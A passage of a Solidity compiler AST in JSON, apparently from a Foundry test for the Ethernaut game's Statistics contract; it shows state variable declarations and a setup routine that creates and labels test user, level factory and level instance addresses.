Statistics"},"typeName":{"id":65900,"nodeType":"UserDefinedTypeName","pathNode":{"id":65899,"name":"Statistics","nameLocations":["221:10:153"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"221:10:153"},"referencedDeclaration":56450,"src":"221:10:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"visibility":"internal"},{"id":65904,"nodeType":"VariableDeclaration","src":"244:11:153","nodes":[],"constant":false,"mutability":"mutable","name":"utils","nameLocation":"250:5:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"},"typeName":{"id":65903,"nodeType":"UserDefinedTypeName","pathNode":{"id":65902,"name":"Utils","nameLocations":["244:5:153"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"244:5:153"},"referencedDeclaration":66673,"src":"244:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"visibility":"internal"},{"id":65906,"nodeType":"VariableDeclaration","src":"262:25:153","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"278:9:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65905,"name":"address","nodeType":"ElementaryTypeName","src":"262:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65908,"nodeType":"VariableDeclaration","src":"293:20:153","nodes":[],"constant":false,"mutability":"mutable","name":"user","nameLocation":"309:4:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65907,"name":"address","nodeType":"ElementaryTypeName","src":"293:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65910,"nodeType":"VariableDeclaration","src":"319:21:153","nodes":[],"constant":false,"mutability":"mutable","name":"user2","nameLocation":"335:5:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65909,"name":"address","nodeType":"ElementaryTypeName","src":"319:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65912,"nodeType":"VariableDeclaration","src":"346:21:153","nodes":[],"constant":false,"mutability":"mutable","name":"user3","nameLocation":"362:5:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65911,"name":"address","nodeType":"ElementaryTypeName","src":"346:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65914,"nodeType":"VariableDeclaration","src":"373:31:153","nodes":[],"constant":false,"mutability":"mutable","name":"level_factory_1","nameLocation":"389:15:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65913,"name":"address","nodeType":"ElementaryTypeName","src":"373:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65916,"nodeType":"VariableDeclaration","src":"410:31:153","nodes":[],"constant":false,"mutability":"mutable","name":"level_factory_2","nameLocation":"426:15:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65915,"name":"address","nodeType":"ElementaryTypeName","src":"410:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65918,"nodeType":"VariableDeclaration","src":"447:32:153","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_1","nameLocation":"463:16:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65917,"name":"address","nodeType":"ElementaryTypeName","src":"447:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65920,"nodeType":"VariableDeclaration","src":"485:32:153","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_2","nameLocation":"501:16:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65919,"name":"address","nodeType":"ElementaryTypeName","src":"485:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65922,"nodeType":"VariableDeclaration","src":"523:32:153","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_3","nameLocation":"539:16:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65921,"name":"address","nodeType":"ElementaryTypeName","src":"523:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":66071,"nodeType":"FunctionDefinition","src":"742:907:153","nodes":[],"body":{"id":66070,"nodeType":"Block","src":"766:883:153","nodes":[],"statements":[{"expression":{"id":65930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65925,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65904,"src":"776:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":65928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"784:9:153","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Utils_$66673_$","typeString":"function () returns (contract Utils)"},"typeName":{"id":65927,"nodeType":"UserDefinedTypeName","pathNode":{"id":65926,"name":"Utils","nameLocations":["788:5:153"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"788:5:153"},"referencedDeclaration":66673,"src":"788:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}}},"id":65929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"784:11:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"src":"776:19:153","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":65931,"nodeType":"ExpressionStatement","src":"776:19:153"},{"assignments":[65934],"declarations":[{"constant":false,"id":65934,"mutability":"mutable","name":"users","nameLocation":"830:5:153","nodeType":"VariableDeclaration","scope":66070,"src":"805:30:153","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":65932,"name":"address","nodeType":"ElementaryTypeName","src":"805:15:153","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65933,"nodeType":"ArrayTypeName","src":"805:17:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":65939,"initialValue":{"arguments":[{"hexValue":"39","id":65937,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"856:1:153","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"9"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"}],"expression":{"id":65935,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65904,"src":"838:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":65936,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"844:11:153","memberName":"createUsers","nodeType":"MemberAccess","referencedDeclaration":66448,"src":"838:17:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) external returns (address payable[] memory)"}},"id":65938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"838:20:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"805:53:153"},{"expression":{"id":65944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65940,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65906,"src":"869:9:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65941,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"881:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65943,"indexExpression":{"hexValue":"30","id":65942,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"887:1:153","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"881:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"869:20:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65945,"nodeType":"ExpressionStatement","src":"869:20:153"},{"expression":{"arguments":[{"id":65949,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"908:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"45746865726e617574","id":65950,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"914:11:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_4c860d3874a96a95d35e7dab3b1cb409c8b1ff402b8f8d71d9fff8e2a9b66091","typeString":"literal_string \"Ethernaut\""},"value":"Ethernaut"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_4c860d3874a96a95d35e7dab3b1cb409c8b1ff402b8f8d71d9fff8e2a9b66091","typeString":"literal_string \"Ethernaut\""}],"expression":{"id":65946,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"899:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"902:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"899:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65951,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"899:27:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65952,"nodeType":"ExpressionStatement","src":"899:27:153"},{"expression":{"id":65957,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65953,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"937:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65954,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"944:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65956,"indexExpression":{"hexValue":"31","id":65955,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"950:1:153","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"944:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"937:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65958,"nodeType":"ExpressionStatement","src":"937:15:153"},{"expression":{"arguments":[{"id":65962,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"971:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"55736572","id":65963,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"977:6:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""},"value":"User"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""}],"expression":{"id":65959,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"962:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65961,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"965:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"962:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"962:22:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65965,"nodeType":"ExpressionStatement","src":"962:22:153"},{"expression":{"id":65970,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65966,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65910,"src":"995:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65967,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1003:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65969,"indexExpression":{"hexValue":"32","id":65968,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1009:1:153","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1003:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"995:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65971,"nodeType":"ExpressionStatement","src":"995:16:153"},{"expression":{"arguments":[{"id":65975,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"1030:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"557365722032","id":65976,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1036:8:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""},"value":"User 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""}],"expression":{"id":65972,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1021:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65974,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1024:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1021:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65977,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1021:24:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65978,"nodeType":"ExpressionStatement","src":"1021:24:153"},{"expression":{"id":65983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65979,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"1056:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65980,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1064:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65982,"indexExpression":{"hexValue":"33","id":65981,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1070:1:153","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1064:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1056:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65984,"nodeType":"ExpressionStatement","src":"1056:16:153"},{"expression":{"arguments":[{"id":65988,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65908,"src":"1091:4:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"557365722033","id":65989,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1097:8:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b9b77c944f9b031cd9183b853ea9680374d6847a5b8b92d2b65173fa79f6c40","typeString":"literal_string \"User 3\""},"value":"User 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_4b9b77c944f9b031cd9183b853ea9680374d6847a5b8b92d2b65173fa79f6c40","typeString":"literal_string \"User 3\""}],"expression":{"id":65985,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1082:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65987,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1085:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1082:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65990,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1082:24:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65991,"nodeType":"ExpressionStatement","src":"1082:24:153"},{"expression":{"id":65996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65992,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"1117:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65993,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1135:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65995,"indexExpression":{"hexValue":"34","id":65994,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1141:1:153","typeDescriptions":{"typeIdentifier":"t_rational_4_by_1","typeString":"int_const 4"},"value":"4"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1135:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1117:26:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65997,"nodeType":"ExpressionStatement","src":"1117:26:153"},{"expression":{"arguments":[{"id":66001,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"1162:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792031","id":66002,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1179:17:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""},"value":"Level Factory 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""}],"expression":{"id":65998,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1153:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66000,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1156:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1153:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":66003,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1153:44:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66004,"nodeType":"ExpressionStatement","src":"1153:44:153"},{"expression":{"id":66009,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66005,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"1208:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":66006,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1226:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":66008,"indexExpression":{"hexValue":"35","id":66007,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1232:1:153","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1226:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1208:26:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66010,"nodeType":"ExpressionStatement","src":"1208:26:153"},{"expression":{"arguments":[{"id":66014,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65916,"src":"1253:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792032","id":66015,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1270:17:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""},"value":"Level Factory 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""}],"expression":{"id":66011,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1244:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66013,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1247:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1244:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":66016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1244:44:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66017,"nodeType":"ExpressionStatement","src":"1244:44:153"},{"expression":{"id":66022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66018,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"1299:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":66019,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65934,"src":"1318:5:153","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":66021,"indexExpression":{"hexValue":"36","id":66020,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1324:1:153","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1318:8:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1299:27:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66023,"nodeType":"ExpressionStatement","src":"1299:27:153"},{"expression":{"arguments":[{"id":66027,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65918,"src":"1345:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652031","id":66028,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1363:18:153","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""},"value":"Level Instance 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""}],"expression":{"id":66024,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1336:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66026,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1339:5:153","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1336:8:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) 